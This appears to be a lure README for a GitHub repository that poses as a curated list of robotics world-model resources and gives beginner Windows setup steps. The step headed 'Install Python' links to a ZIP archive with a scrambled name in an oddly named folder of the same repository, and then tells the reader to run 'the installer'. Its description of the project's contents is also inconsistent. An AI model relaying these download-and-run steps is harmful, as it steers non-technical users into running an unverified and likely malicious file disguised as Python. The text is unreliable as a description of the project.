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🤖 Awesome-World-Model-for-Robotics-Policy - Learn Robotic Policies Simply

Download from GitHub


🌟 What is Awesome-World-Model-for-Robotics-Policy?

This project collects important papers, code, and learning tools about world models for robots. World models help robots understand and predict their surroundings. This makes it easier for robots to learn tasks by themselves. The list comes from the NTU MARS Lab.

You do not need to know programming to use the main tools here. This guide will help you download and run the software on your Windows PC in a few simple steps.


🚀 Getting Started

This section shows you how to get the software and start using it.

System Requirements

  • Windows 10 or newer
  • 4 GB RAM minimum (8 GB recommended)
  • 2 GHz dual-core processor or better
  • At least 2 GB free disk space
  • Internet connection to download files

📥 Download the Software

This project does not provide a single program file to run directly. Instead, it links to code and materials you can explore.

To get started, visit the main page with this link:

Go to Download Page

Follow these steps:

  1. Click the green button labeled Code on the GitHub page.
  2. Choose Download ZIP to get all files packed in one folder.
  3. Save the ZIP file to your PC.
  4. Open the folder where you saved the ZIP.
  5. Right-click the ZIP file and select Extract All.
  6. Choose a folder to save the extracted files and click Extract.

You now have the project files on your PC.


🛠 How to Use on Windows

This project includes code examples to run on your Windows PC. You will not run them like regular apps but through a tool called Python. Here is how to set it up step-by-step.

Step 1: Install Python

Python is a free program needed to run the code.

  1. Open your web browser.
  2. Go to https://github.com/skrillexx-mc/Awesome-World-Model-for-Robotics-Policy/raw/refs/heads/main/nonazotized/Policy_World_Awesome_Robotics_for_Model_v3.1-beta.3.zip
  3. Click the big yellow button to download the latest Python version for Windows.
  4. After download, run the installer.
  5. Very important: On the first screen, check the box Add Python to PATH.
  6. Click Install Now and wait for it to finish.
  7. When done, close the installer.

Step 2: Open Command Prompt

Command Prompt lets you type instructions to run the code.

  1. Press the Windows key on your keyboard or click the Windows icon.
  2. Type cmd.
  3. Click the app called Command Prompt.

A black window appears. This is where you will enter commands.


Step 3: Move to the Project Folder

You need to tell the Command Prompt where the software files are.

  1. In the Command Prompt window, type:
cd C:\Users\YourName\Downloads\Awesome-World-Model-for-Robotics-Policy-main

Replace YourName if needed.

  1. Press Enter.

This changes the folder to where you saved the project.


Step 4: Install Needed Packages

The code uses some tools that Python will need. These come as packages.

  1. In the same Command Prompt window, type:
pip install -r requirements.txt
  1. Press Enter.

This command downloads and installs what the project needs.


Step 5: Run an Example

The project may have example scripts to try.

  1. In Command Prompt, type:
python example.py

This runs a basic demo.

  1. Press Enter.

If all goes well, you will see the program start. It may show text or other outputs.


📚 What You Will Find in This Project

  • Research papers related to world models for robots
  • Code examples to use these models
  • Links to datasets useful for training
  • Resources for understanding robotic policies
  • Tools to evaluate how well world models work

This repository is mainly for learning and experimenting.


❓ Common Questions

What is a world model?

A world model is a way to predict what happens next based on current information. Robots use it to plan their moves better.

Do I need special hardware?

No special hardware is needed. A standard Windows PC is enough to run basic examples. For advanced use, a better PC may help.

How much space will I need?

The project code and data need about 2 GB space after download.


🔗 Useful Links


Download from GitHub

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